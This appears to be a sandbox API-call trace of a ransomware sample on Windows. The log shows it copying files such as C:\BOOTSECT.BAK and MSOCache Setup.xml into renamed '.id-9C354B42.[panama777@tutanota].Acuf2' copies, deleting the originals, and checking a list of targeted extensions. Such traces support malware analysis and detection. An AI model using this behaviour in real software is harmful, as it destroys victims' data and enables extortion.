	[0036.567] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5408e8, Size=0x20) returned 0x525d68
	[0036.567] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.567] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.567] Wow64DisableWow64FsRedirection (in: OldValue=0x26fff58 | out: OldValue=0x26fff58*=0x0) returned 1
	[0036.568] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.568] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525d68 | out: hHeap=0x4f0000) returned 1
	[0036.568] Sleep (dwMilliseconds=0x64) 
	[0036.879] Sleep (dwMilliseconds=0x64) 
	[0037.048] Sleep (dwMilliseconds=0x64) 
	[0037.731] Sleep (dwMilliseconds=0x64) 
	[0037.901] lstrcmpiW (lpString1=".BAK", lpString2=".Acuf2") returned 1
	[0037.901] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0037.901] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.095] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=8192) returned 1
	[0038.096] CloseHandle (hObject=0x168) returned 1
	[0038.096] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0038.096] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootsect.bak.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.096] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0038.096] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.096] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.096] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.096] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\bootsect.bak.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.097] GetLastError () returned 0x0
	[0038.097] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x2000, lpOverlapped=0x0) returned 1
	[0038.111] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x2010, lpOverlapped=0x0) returned 1
	[0038.112] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.112] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0038.112] SetEndOfFile (hFile=0x160) returned 1
	[0038.112] CloseHandle (hObject=0x160) returned 1
	[0038.113] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.113] SetEndOfFile (hFile=0x168) returned 1
	[0038.114] CloseHandle (hObject=0x168) returned 1
	[0038.114] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x27) returned 1
	[0038.114] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0038.114] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.114] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString=".doc") returned 4
	[0038.115] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".docx") returned 5
	[0038.115] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0038.115] lstrlenW (lpString=".pdf") returned 4
	[0038.115] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".xls") returned 4
	[0038.115] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".xlsx") returned 5
	[0038.115] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0038.115] lstrlenW (lpString=".ppt") returned 4
	[0038.115] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString=".zip") returned 4
	[0038.115] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".rar") returned 4
	[0038.115] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".bz2") returned 4
	[0038.115] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString=".7z") returned 3
	[0038.115] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString=".dbf") returned 4
	[0038.115] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString=".1cd") returned 4
	[0038.115] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString=".jpg") returned 4
	[0038.115] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.115] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.116] lstrlenW (lpString=".doc") returned 4
	[0038.116] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".docx") returned 5
	[0038.116] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0038.116] lstrlenW (lpString=".pdf") returned 4
	[0038.116] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".xls") returned 4
	[0038.116] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".xlsx") returned 5
	[0038.116] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0038.116] lstrlenW (lpString=".ppt") returned 4
	[0038.116] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.116] lstrlenW (lpString=".zip") returned 4
	[0038.116] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".rar") returned 4
	[0038.116] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".bz2") returned 4
	[0038.116] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString=".7z") returned 3
	[0038.116] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0038.116] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.116] lstrlenW (lpString=".dbf") returned 4
	[0038.116] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0038.116] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.116] lstrlenW (lpString=".1cd") returned 4
	[0038.116] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0038.116] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0038.116] lstrlenW (lpString=".jpg") returned 4
	[0038.116] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0038.117] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.117] lstrlenW (lpString="Setup.xml") returned 9
	[0038.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.117] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=4207) returned 1
	[0038.117] CloseHandle (hObject=0x168) returned 1
	[0038.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.117] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.117] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.118] GetLastError () returned 0x0
	[0038.118] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x106f, lpOverlapped=0x0) returned 1
	[0038.119] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x1070, lpOverlapped=0x0) returned 1
	[0038.120] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.120] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.121] SetEndOfFile (hFile=0x160) returned 1
	[0038.121] CloseHandle (hObject=0x160) returned 1
	[0038.121] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.121] SetEndOfFile (hFile=0x168) returned 1
	[0038.122] CloseHandle (hObject=0x168) returned 1
	[0038.122] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.123] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.123] lstrlenW (lpString=".doc") returned 4
	[0038.123] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString=".docx") returned 5
	[0038.123] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.123] lstrlenW (lpString=".pdf") returned 4
	[0038.123] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString=".xls") returned 4
	[0038.123] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString=".xlsx") returned 5
	[0038.123] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.123] lstrlenW (lpString=".ppt") returned 4
	[0038.123] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.123] lstrlenW (lpString=".zip") returned 4
	[0038.123] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.123] lstrlenW (lpString=".rar") returned 4
	[0038.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString=".bz2") returned 4
	[0038.123] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.123] lstrlenW (lpString=".7z") returned 3
	[0038.123] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString=".dbf") returned 4
	[0038.124] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString=".1cd") returned 4
	[0038.124] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString=".jpg") returned 4
	[0038.124] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString=".doc") returned 4
	[0038.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString=".docx") returned 5
	[0038.124] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.124] lstrlenW (lpString=".pdf") returned 4
	[0038.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString=".xls") returned 4
	[0038.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString=".xlsx") returned 5
	[0038.124] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.124] lstrlenW (lpString=".ppt") returned 4
	[0038.124] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.124] lstrlenW (lpString=".zip") returned 4
	[0038.124] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.124] lstrlenW (lpString=".rar") returned 4
	[0038.124] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString=".bz2") returned 4
	[0038.124] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.124] lstrlenW (lpString=".7z") returned 3
	[0038.124] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.125] lstrlenW (lpString=".dbf") returned 4
	[0038.125] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.125] lstrlenW (lpString=".1cd") returned 4
	[0038.125] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.125] lstrlenW (lpString=".jpg") returned 4
	[0038.125] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.125] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.125] lstrlenW (lpString="Setup.xml") returned 9
	[0038.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.125] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2424) returned 1
	[0038.125] CloseHandle (hObject=0x168) returned 1
	[0038.126] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.126] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.126] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.126] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.127] GetLastError () returned 0x0
	[0038.128] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x978, lpOverlapped=0x0) returned 1
	[0038.425] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x980, lpOverlapped=0x0) returned 1
	[0038.426] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.426] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.426] SetEndOfFile (hFile=0x160) returned 1
	[0038.426] CloseHandle (hObject=0x160) returned 1
	[0038.427] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.427] SetEndOfFile (hFile=0x168) returned 1
	[0038.428] CloseHandle (hObject=0x168) returned 1
	[0038.428] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.428] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString=".doc") returned 4
	[0038.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString=".docx") returned 5
	[0038.429] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.429] lstrlenW (lpString=".pdf") returned 4
	[0038.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString=".xls") returned 4
	[0038.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString=".xlsx") returned 5
	[0038.429] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.429] lstrlenW (lpString=".ppt") returned 4
	[0038.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString=".zip") returned 4
	[0038.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.429] lstrlenW (lpString=".rar") returned 4
	[0038.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString=".bz2") returned 4
	[0038.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString=".7z") returned 3
	[0038.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString=".dbf") returned 4
	[0038.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString=".1cd") returned 4
	[0038.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.429] lstrlenW (lpString=".jpg") returned 4
	[0038.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.430] lstrlenW (lpString=".doc") returned 4
	[0038.430] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString=".docx") returned 5
	[0038.430] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.430] lstrlenW (lpString=".pdf") returned 4
	[0038.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString=".xls") returned 4
	[0038.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString=".xlsx") returned 5
	[0038.430] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.430] lstrlenW (lpString=".ppt") returned 4
	[0038.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.430] lstrlenW (lpString=".zip") returned 4
	[0038.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.430] lstrlenW (lpString=".rar") returned 4
	[0038.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString=".bz2") returned 4
	[0038.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString=".7z") returned 3
	[0038.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.430] lstrlenW (lpString=".dbf") returned 4
	[0038.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.430] lstrlenW (lpString=".1cd") returned 4
	[0038.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.431] lstrlenW (lpString=".jpg") returned 4
	[0038.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
